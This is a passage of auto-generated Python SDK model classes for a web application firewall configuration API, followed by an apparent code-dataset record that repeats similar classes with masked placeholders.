not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = ModifyLogServiceStatusResponseBody() self.body = temp_model.from_map(m['body']) return self class ModifyProtectionModuleModeRequest(TeaModel): def __init__(self, domain=None, defense_type=None, mode=None, instance_id=None): self.domain = domain # type: str self.defense_type = defense_type # type: str self.mode = mode # type: int self.instance_id = instance_id # type: str def validate(self): pass def to_map(self): _map = super(ModifyProtectionModuleModeRequest, self).to_map() if _map is not None: return _map result = dict() if self.domain is not None: result['Domain'] = self.domain if self.defense_type is not None: result['DefenseType'] = self.defense_type if self.mode is not None: result['Mode'] = self.mode if self.instance_id is not None: result['InstanceId'] = self.instance_id return result def from_map(self, m=None): m = m or dict() if m.get('Domain') is not None: self.domain = m.get('Domain') if m.get('DefenseType') is not None: self.defense_type = m.get('DefenseType') if m.get('Mode') is not None: self.mode = m.get('Mode') if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') return self class ModifyProtectionModuleModeResponseBody(TeaModel): def __init__(self, request_id=None): self.request_id = request_id # type: str def validate(self): pass def to_map(self): _map = super(ModifyProtectionModuleModeResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') return self class ModifyProtectionModuleModeResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: ModifyProtectionModuleModeResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(ModifyProtectionModuleModeResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = ModifyProtectionModuleModeResponseBody() self.body = temp_model.from_map(m['body']) return self class ModifyProtectionModuleRuleRequest(TeaModel): def __init__(self, domain=None, defense_type=None, rule=None, rule_id=None, lock_version=None, instance_id=None): self.domain = domain # type: str self.defense_type = defense_type # type: str self.rule = rule # type: str self.rule_id = rule_id # type: long self.lock_version = lock_version # type: long self.instance_id = instance_id # type: str def validate(self): pass def to_map(self): _map = super(ModifyProtectionModuleRuleRequest, self).to_map() if _map is not None: return _map result = dict() if self.domain is not None: result['Domain'] = self.domain if self.defense_type is not None: result['DefenseType'] = self.defense_type if self.rule is not None: result['Rule'] = self.rule if self.rule_id is not None: result['RuleId'] = self.rule_id if self.lock_version is not None: result['LockVersion'] = self.lock_version if self.instance_id is not None: result['InstanceId'] = self.instance_id return result def from_map(self, m=None): m = m or dict() if m.get('Domain') is not None: self.domain = m.get('Domain') if m.get('DefenseType') is not None: self.defense_type = m.get('DefenseType') if m.get('Rule') is not None: self.rule = m.get('Rule') if m.get('RuleId') is not None: self.rule_id = m.get('RuleId') if m.get('LockVersion') is not None: self.lock_version = m.get('LockVersion') if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') return self class ModifyProtectionModuleRuleResponseBody(TeaModel): def __init__(self, request_id=None): self.request_id = request_id # type: str def validate(self): pass def to_map(self): _map = super(ModifyProtectionModuleRuleResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') return self class ModifyProtectionModuleRuleResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: ModifyProtectionModuleRuleResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(ModifyProtectionModuleRuleResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = ModifyProtectionModuleRuleResponseBody() self.body = temp_model.from_map(m['body']) return self class ModifyProtectionModuleStatusRequest(TeaModel): def __init__(self, domain=None, defense_type=None, module_status=None, instance_id=None): self.domain = domain # type: str self.defense_type = defense_type # type: str self.module_status = module_status # type: int self.instance_id = instance_id # type: str def validate(self): pass def to_map(self): _map = super(ModifyProtectionModuleStatusRequest, self).to_map() if _map is not None: return _map result = dict() if self.domain is not None: result['Domain'] = self.domain if self.defense_type is not None: result['DefenseType'] = self.defense_type if self.module_status is not None: result['ModuleStatus'] = self.module_status if self.instance_id is not None: result['InstanceId'] = self.instance_id return result def from_map(self, m=None): m = m or dict() if m.get('Domain') is not None: self.domain = m.get('Domain') if m.get('DefenseType') is not None: self.defense_type = m.get('DefenseType') if m.get('ModuleStatus') is not None: self.module_status = m.get('ModuleStatus') if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') return self class ModifyProtectionModuleStatusResponseBody(TeaModel): def __init__(self, request_id=None): self.request_id = request_id # type: str def validate(self): pass def to_map(self): _map = super(ModifyProtectionModuleStatusResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') return self class ModifyProtectionModuleStatusResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: ModifyProtectionModuleStatusResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(ModifyProtectionModuleStatusResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = ModifyProtectionModuleStatusResponseBody() self.body = temp_model.from_map(m['body']) return self class ModifyProtectionRuleCacheStatusRequest(TeaModel): def __init__(self, domain=None, rule_id=None, defense_type=None, instance_id=None): self.domain = domain # type: str self.rule_id = rule_id # type: long self.defense_type = defense_type # type: str self.instance_id = instance_id # type: str def validate(self): pass def to_map(self): _map = super(ModifyProtectionRuleCacheStatusRequest, self).to_map() if _map is not None: return _map result = dict() if self.domain is not None: result['Domain'] = self.domain if self.rule_id is not None: result['RuleId'] = self.rule_id if self.defense_type is not None: result['DefenseType'] = self.defense_type if self.instance_id is not None: result['InstanceId'] = self.instance_id return result def from_map(self, m=None): m = m or dict() if m.get('Domain') is not None: self.domain = m.get('Domain') if m.get('RuleId') is not None: self.rule_id = m.get('RuleId') if m.get('DefenseType') is not None: self.defense_type = m.get('DefenseType') if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') return self class ModifyProtectionRuleCacheStatusResponseBody(TeaModel): def __init__(self, request_id=None): self.request_id = request_id # type: str def validate(self): pass def to_map(self): _map = super(ModifyProtectionRuleCacheStatusResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') return self class ModifyProtectionRuleCacheStatusResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: ModifyProtectionRuleCacheStatusResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(ModifyProtectionRuleCacheStatusResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = ModifyProtectionRuleCacheStatusResponseBody() self.body = temp_model.from_map(m['body']) return self class ModifyProtectionRuleStatusRequest(TeaModel): def __init__(self, domain=None, defense_type=None, rule_id=None, rule_status=None, lock_version=None, instance_id=None): self.domain = domain # type: str self.defense_type = defense_type # type: str self.rule_id = rule_id # type: long self.rule_status = rule_status # type: int self.lock_version = lock_version # type: long self.instance_id = instance_id # type: str def validate(self): pass def to_map(self): _map = super(ModifyProtectionRuleStatusRequest, self).to_map() if _map is not None: return _map result = dict() if self.domain is not None: result['Domain'] = self.domain if self.defense_type is not None: result['DefenseType'] = self.defense_type if self.rule_id is not None: result['RuleId'] = self.rule_id if self.rule_status is not None: result['RuleStatus'] = self.rule_status if self.lock_version is not None: result['LockVersion'] = self.lock_version if self.instance_id is not None: result['InstanceId'] = self.instance_id return result def from_map(self, m=None): m = m or dict() if m.get('Domain') is not None: self.domain = m.get('Domain') if m.get('DefenseType') is not None: self.defense_type = m.get('DefenseType') if m.get('RuleId') is not None: self.rule_id = m.get('RuleId') if m.get('RuleStatus') is not None: self.rule_status = m.get('RuleStatus') if m.get('LockVersion') is not None: self.lock_version = m.get('LockVersion') if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') return self class ModifyProtectionRuleStatusResponseBody(TeaModel): def __init__(self, request_id=None): self.request_id = request_id # type: str def validate(self): pass def to_map(self): _map = super(ModifyProtectionRuleStatusResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') return self class ModifyProtectionRuleStatusResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: ModifyProtectionRuleStatusResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(ModifyProtectionRuleStatusResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = ModifyProtectionRuleStatusResponseBody() self.body = temp_model.from_map(m['body']) return self class SetDomainRuleGroupRequest(TeaModel): def __init__(self, domains=None, rule_group_id=None, waf_version=None, instance_id=None, resource_group_id=None): self.domains = domains # type: str self.rule_group_id = rule_group_id # type: long self.waf_version = waf_version # type: long self.instance_id = instance_id # type: str self.resource_group_id = resource_group_id # type: str def validate(self): pass def to_map(self): _map = super(SetDomainRuleGroupRequest, self).to_map() if _map is not None: return _map result = dict() if self.domains is not None: result['Domains'] = self.domains if self.rule_group_id is not None: result['RuleGroupId'] = self.rule_group_id if self.waf_version is not None: result['WafVersion'] = self.waf_version if self.instance_id is not None: result['InstanceId'] = self.instance_id if self.resource_group_id is not None: result['ResourceGroupId'] = self.resource_group_id return result def from_map(self, m=None): m = m or dict() if m.get('Domains') is not None: self.domains = m.get('Domains') if m.get('RuleGroupId') is not None: self.rule_group_id = m.get('RuleGroupId') if m.get('WafVersion') is not None: self.waf_version = m.get('WafVersion') if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') if m.get('ResourceGroupId') is not None: self.resource_group_id = m.get('ResourceGroupId') return self class SetDomainRuleGroupResponseBody(TeaModel): def __init__(self, request_id=None): self.request_id = request_id # type: str def validate(self): pass def to_map(self): _map = super(SetDomainRuleGroupResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') return self class SetDomainRuleGroupResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: SetDomainRuleGroupResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(SetDomainRuleGroupResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = SetDomainRuleGroupResponseBody() self.body = temp_model.from_map(m['body']) return self
normal
{ "blob_id": "addf92a3d4060fa9464a802a4a4378cf9eeadde4", "index": 2545, "step-1": "<mask token>\n\n\nclass DescribeDomainResponseBodyDomainCloudNativeInstancesProtocolPortConfigs(\n TeaModel):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\nclass DescribeDomainResponseBodyDomainCloudNativeInstances(TeaModel):\n\n def __init__(self, protocol_port_configs=None, redirection_type_name=\n None, cloud_native_product_name=None, instance_id=None,\n ipaddress_list=None):\n self.protocol_port_configs = protocol_port_configs\n self.redirection_type_name = redirection_type_name\n self.cloud_native_product_name = cloud_native_product_name\n self.instance_id = instance_id\n self.ipaddress_list = ipaddress_list\n\n def validate(self):\n if self.protocol_port_configs:\n for k in self.protocol_port_configs:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeDomainResponseBodyDomainCloudNativeInstances, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n result['ProtocolPortConfigs'] = []\n if self.protocol_port_configs is not None:\n for k in self.protocol_port_configs:\n result['ProtocolPortConfigs'].append(k.to_map() if k else None)\n if self.redirection_type_name is not None:\n result['RedirectionTypeName'] = self.redirection_type_name\n if self.cloud_native_product_name is not None:\n result['CloudNativeProductName'] = self.cloud_native_product_name\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.ipaddress_list is not None:\n result['IPAddressList'] = self.ipaddress_list\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n self.protocol_port_configs = []\n if m.get('ProtocolPortConfigs') is not None:\n for k in m.get('ProtocolPortConfigs'):\n temp_model = (\n DescribeDomainResponseBodyDomainCloudNativeInstancesProtocolPortConfigs\n ())\n self.protocol_port_configs.append(temp_model.from_map(k))\n if m.get('RedirectionTypeName') is not None:\n self.redirection_type_name = m.get('RedirectionTypeName')\n if m.get('CloudNativeProductName') is not None:\n self.cloud_native_product_name = m.get('CloudNativeProductName')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('IPAddressList') is not None:\n self.ipaddress_list = m.get('IPAddressList')\n return self\n\n\nclass DescribeDomainResponseBodyDomainLogHeaders(TeaModel):\n\n def __init__(self, k=None, v=None):\n self.k = k\n self.v = v\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainResponseBodyDomainLogHeaders, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.k is not None:\n result['k'] = self.k\n if self.v is not None:\n result['v'] = self.v\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('k') is not None:\n self.k = m.get('k')\n if m.get('v') is not None:\n self.v = m.get('v')\n return self\n\n\nclass DescribeDomainResponseBodyDomain(TeaModel):\n\n def __init__(self, http_2port=None, cloud_native_instances=None,\n http_to_user_ip=None, http_port=None, log_headers=None,\n is_access_product=None, access_headers=None, access_header_mode=\n None, https_redirect=None, load_balancing=None, ip_follow_status=\n None, access_type=None, version=None, cluster_type=None, read_time=\n None, write_time=None, resource_group_id=None, cname=None,\n source_ips=None, connection_time=None, https_port=None):\n self.http_2port = http_2port\n self.cloud_native_instances = cloud_native_instances\n self.http_to_user_ip = http_to_user_ip\n self.http_port = http_port\n self.log_headers = log_headers\n self.is_access_product = is_access_product\n self.access_headers = access_headers\n self.access_header_mode = access_header_mode\n self.https_redirect = https_redirect\n self.load_balancing = load_balancing\n self.ip_follow_status = ip_follow_status\n self.access_type = access_type\n self.version = version\n self.cluster_type = cluster_type\n self.read_time = read_time\n self.write_time = write_time\n self.resource_group_id = resource_group_id\n self.cname = cname\n self.source_ips = source_ips\n self.connection_time = connection_time\n self.https_port = https_port\n\n def validate(self):\n if self.cloud_native_instances:\n for k in self.cloud_native_instances:\n if k:\n k.validate()\n if self.log_headers:\n for k in self.log_headers:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeDomainResponseBodyDomain, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.http_2port is not None:\n result['Http2Port'] = self.http_2port\n result['CloudNativeInstances'] = []\n if self.cloud_native_instances is not None:\n for k in self.cloud_native_instances:\n result['CloudNativeInstances'].append(k.to_map() if k else None\n )\n if self.http_to_user_ip is not None:\n result['HttpToUserIp'] = self.http_to_user_ip\n if self.http_port is not None:\n result['HttpPort'] = self.http_port\n result['LogHeaders'] = []\n if self.log_headers is not None:\n for k in self.log_headers:\n result['LogHeaders'].append(k.to_map() if k else None)\n if self.is_access_product is not None:\n result['IsAccessProduct'] = self.is_access_product\n if self.access_headers is not None:\n result['AccessHeaders'] = self.access_headers\n if self.access_header_mode is not None:\n result['AccessHeaderMode'] = self.access_header_mode\n if self.https_redirect is not None:\n result['HttpsRedirect'] = self.https_redirect\n if self.load_balancing is not None:\n result['LoadBalancing'] = self.load_balancing\n if self.ip_follow_status is not None:\n result['IpFollowStatus'] = self.ip_follow_status\n if self.access_type is not None:\n result['AccessType'] = self.access_type\n if self.version is not None:\n result['Version'] = self.version\n if self.cluster_type is not None:\n result['ClusterType'] = self.cluster_type\n if self.read_time is not None:\n result['ReadTime'] = self.read_time\n if self.write_time is not None:\n result['WriteTime'] = self.write_time\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n if self.cname is not None:\n result['Cname'] = self.cname\n if self.source_ips is not None:\n result['SourceIps'] = self.source_ips\n if self.connection_time is not None:\n result['ConnectionTime'] = self.connection_time\n if self.https_port is not None:\n result['HttpsPort'] = self.https_port\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Http2Port') is not None:\n self.http_2port = m.get('Http2Port')\n self.cloud_native_instances = []\n if m.get('CloudNativeInstances') is not None:\n for k in m.get('CloudNativeInstances'):\n temp_model = (\n DescribeDomainResponseBodyDomainCloudNativeInstances())\n self.cloud_native_instances.append(temp_model.from_map(k))\n if m.get('HttpToUserIp') is not None:\n self.http_to_user_ip = m.get('HttpToUserIp')\n if m.get('HttpPort') is not None:\n self.http_port = m.get('HttpPort')\n self.log_headers = []\n if m.get('LogHeaders') is not None:\n for k in m.get('LogHeaders'):\n temp_model = DescribeDomainResponseBodyDomainLogHeaders()\n self.log_headers.append(temp_model.from_map(k))\n if m.get('IsAccessProduct') is not None:\n self.is_access_product = m.get('IsAccessProduct')\n if m.get('AccessHeaders') is not None:\n self.access_headers = m.get('AccessHeaders')\n if m.get('AccessHeaderMode') is not None:\n self.access_header_mode = m.get('AccessHeaderMode')\n if m.get('HttpsRedirect') is not None:\n self.https_redirect = m.get('HttpsRedirect')\n if m.get('LoadBalancing') is not None:\n self.load_balancing = m.get('LoadBalancing')\n if m.get('IpFollowStatus') is not None:\n self.ip_follow_status = m.get('IpFollowStatus')\n if m.get('AccessType') is not None:\n self.access_type = m.get('AccessType')\n if m.get('Version') is not None:\n self.version = m.get('Version')\n if m.get('ClusterType') is not None:\n self.cluster_type = m.get('ClusterType')\n if m.get('ReadTime') is not None:\n self.read_time = m.get('ReadTime')\n if m.get('WriteTime') is not None:\n self.write_time = m.get('WriteTime')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n if m.get('Cname') is not None:\n self.cname = m.get('Cname')\n if m.get('SourceIps') is not None:\n self.source_ips = m.get('SourceIps')\n if m.get('ConnectionTime') is not None:\n self.connection_time = m.get('ConnectionTime')\n if m.get('HttpsPort') is not None:\n self.https_port = m.get('HttpsPort')\n return self\n\n\nclass DescribeDomainResponseBody(TeaModel):\n\n def __init__(self, request_id=None, domain=None):\n self.request_id = request_id\n self.domain = domain\n\n def validate(self):\n if self.domain:\n self.domain.validate()\n\n def to_map(self):\n _map = super(DescribeDomainResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.domain is not None:\n result['Domain'] = self.domain.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('Domain') is not None:\n temp_model = DescribeDomainResponseBodyDomain()\n self.domain = temp_model.from_map(m['Domain'])\n return self\n\n\nclass DescribeDomainResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainAdvanceConfigsRequest(TeaModel):\n\n def __init__(self, instance_id=None, domain_list=None,\n resource_group_id=None):\n self.instance_id = instance_id\n self.domain_list = domain_list\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainAdvanceConfigsRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain_list is not None:\n result['DomainList'] = self.domain_list\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('DomainList') is not None:\n self.domain_list = m.get('DomainList')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeDomainAdvanceConfigsResponseBodyDomainConfigsProfile(TeaModel):\n\n def __init__(self, http_2port=None, ipv_6status=None, http_port=None,\n gslbstatus=None, rs=None, vip_service_status=None, cluster_type=\n None, exclusive_vip_status=None, cname=None, cert_status=None,\n https_port=None, resolved_type=None):\n self.http_2port = http_2port\n self.ipv_6status = ipv_6status\n self.http_port = http_port\n self.gslbstatus = gslbstatus\n self.rs = rs\n self.vip_service_status = vip_service_status\n self.cluster_type = cluster_type\n self.exclusive_vip_status = exclusive_vip_status\n self.cname = cname\n self.cert_status = cert_status\n self.https_port = https_port\n self.resolved_type = resolved_type\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(\n DescribeDomainAdvanceConfigsResponseBodyDomainConfigsProfile, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.http_2port is not None:\n result['Http2Port'] = self.http_2port\n if self.ipv_6status is not None:\n result['Ipv6Status'] = self.ipv_6status\n if self.http_port is not None:\n result['HttpPort'] = self.http_port\n if self.gslbstatus is not None:\n result['GSLBStatus'] = self.gslbstatus\n if self.rs is not None:\n result['Rs'] = self.rs\n if self.vip_service_status is not None:\n result['VipServiceStatus'] = self.vip_service_status\n if self.cluster_type is not None:\n result['ClusterType'] = self.cluster_type\n if self.exclusive_vip_status is not None:\n result['ExclusiveVipStatus'] = self.exclusive_vip_status\n if self.cname is not None:\n result['Cname'] = self.cname\n if self.cert_status is not None:\n result['CertStatus'] = self.cert_status\n if self.https_port is not None:\n result['HttpsPort'] = self.https_port\n if self.resolved_type is not None:\n result['ResolvedType'] = self.resolved_type\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Http2Port') is not None:\n self.http_2port = m.get('Http2Port')\n if m.get('Ipv6Status') is not None:\n self.ipv_6status = m.get('Ipv6Status')\n if m.get('HttpPort') is not None:\n self.http_port = m.get('HttpPort')\n if m.get('GSLBStatus') is not None:\n self.gslbstatus = m.get('GSLBStatus')\n if m.get('Rs') is not None:\n self.rs = m.get('Rs')\n if m.get('VipServiceStatus') is not None:\n self.vip_service_status = m.get('VipServiceStatus')\n if m.get('ClusterType') is not None:\n self.cluster_type = m.get('ClusterType')\n if m.get('ExclusiveVipStatus') is not None:\n self.exclusive_vip_status = m.get('ExclusiveVipStatus')\n if m.get('Cname') is not None:\n self.cname = m.get('Cname')\n if m.get('CertStatus') is not None:\n self.cert_status = m.get('CertStatus')\n if m.get('HttpsPort') is not None:\n self.https_port = m.get('HttpsPort')\n if m.get('ResolvedType') is not None:\n self.resolved_type = m.get('ResolvedType')\n return self\n\n\nclass DescribeDomainAdvanceConfigsResponseBodyDomainConfigs(TeaModel):\n\n def __init__(self, profile=None, domain=None):\n self.profile = profile\n self.domain = domain\n\n def validate(self):\n if self.profile:\n self.profile.validate()\n\n def to_map(self):\n _map = super(DescribeDomainAdvanceConfigsResponseBodyDomainConfigs,\n self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.profile is not None:\n result['Profile'] = self.profile.to_map()\n if self.domain is not None:\n result['Domain'] = self.domain\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Profile') is not None:\n temp_model = (\n DescribeDomainAdvanceConfigsResponseBodyDomainConfigsProfile())\n self.profile = temp_model.from_map(m['Profile'])\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n return self\n\n\nclass DescribeDomainAdvanceConfigsResponseBody(TeaModel):\n\n def __init__(self, request_id=None, domain_configs=None):\n self.request_id = request_id\n self.domain_configs = domain_configs\n\n def validate(self):\n if self.domain_configs:\n for k in self.domain_configs:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeDomainAdvanceConfigsResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n result['DomainConfigs'] = []\n if self.domain_configs is not None:\n for k in self.domain_configs:\n result['DomainConfigs'].append(k.to_map() if k else None)\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n self.domain_configs = []\n if m.get('DomainConfigs') is not None:\n for k in m.get('DomainConfigs'):\n temp_model = (\n DescribeDomainAdvanceConfigsResponseBodyDomainConfigs())\n self.domain_configs.append(temp_model.from_map(k))\n return self\n\n\nclass DescribeDomainAdvanceConfigsResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainAdvanceConfigsResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainAdvanceConfigsResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainBasicConfigsRequest(TeaModel):\n\n def __init__(self, instance_id=None, domain_key=None, access_type=None,\n cloud_native_product_id=None, page_number=None, page_size=None,\n resource_group_id=None):\n self.instance_id = instance_id\n self.domain_key = domain_key\n self.access_type = access_type\n self.cloud_native_product_id = cloud_native_product_id\n self.page_number = page_number\n self.page_size = page_size\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainBasicConfigsRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain_key is not None:\n result['DomainKey'] = self.domain_key\n if self.access_type is not None:\n result['AccessType'] = self.access_type\n if self.cloud_native_product_id is not None:\n result['CloudNativeProductId'] = self.cloud_native_product_id\n if self.page_number is not None:\n result['PageNumber'] = self.page_number\n if self.page_size is not None:\n result['PageSize'] = self.page_size\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('DomainKey') is not None:\n self.domain_key = m.get('DomainKey')\n if m.get('AccessType') is not None:\n self.access_type = m.get('AccessType')\n if m.get('CloudNativeProductId') is not None:\n self.cloud_native_product_id = m.get('CloudNativeProductId')\n if m.get('PageNumber') is not None:\n self.page_number = m.get('PageNumber')\n if m.get('PageSize') is not None:\n self.page_size = m.get('PageSize')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeDomainBasicConfigsResponseBodyDomainConfigs(TeaModel):\n\n def __init__(self, status=None, domain=None, owner=None, cc_mode=None,\n cc_status=None, access_type=None, version=None, acl_status=None,\n waf_status=None, waf_mode=None):\n self.status = status\n self.domain = domain\n self.owner = owner\n self.cc_mode = cc_mode\n self.cc_status = cc_status\n self.access_type = access_type\n self.version = version\n self.acl_status = acl_status\n self.waf_status = waf_status\n self.waf_mode = waf_mode\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainBasicConfigsResponseBodyDomainConfigs, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.status is not None:\n result['Status'] = self.status\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.owner is not None:\n result['Owner'] = self.owner\n if self.cc_mode is not None:\n result['CcMode'] = self.cc_mode\n if self.cc_status is not None:\n result['CcStatus'] = self.cc_status\n if self.access_type is not None:\n result['AccessType'] = self.access_type\n if self.version is not None:\n result['Version'] = self.version\n if self.acl_status is not None:\n result['AclStatus'] = self.acl_status\n if self.waf_status is not None:\n result['WafStatus'] = self.waf_status\n if self.waf_mode is not None:\n result['WafMode'] = self.waf_mode\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Status') is not None:\n self.status = m.get('Status')\n if m.get('Domain') is not 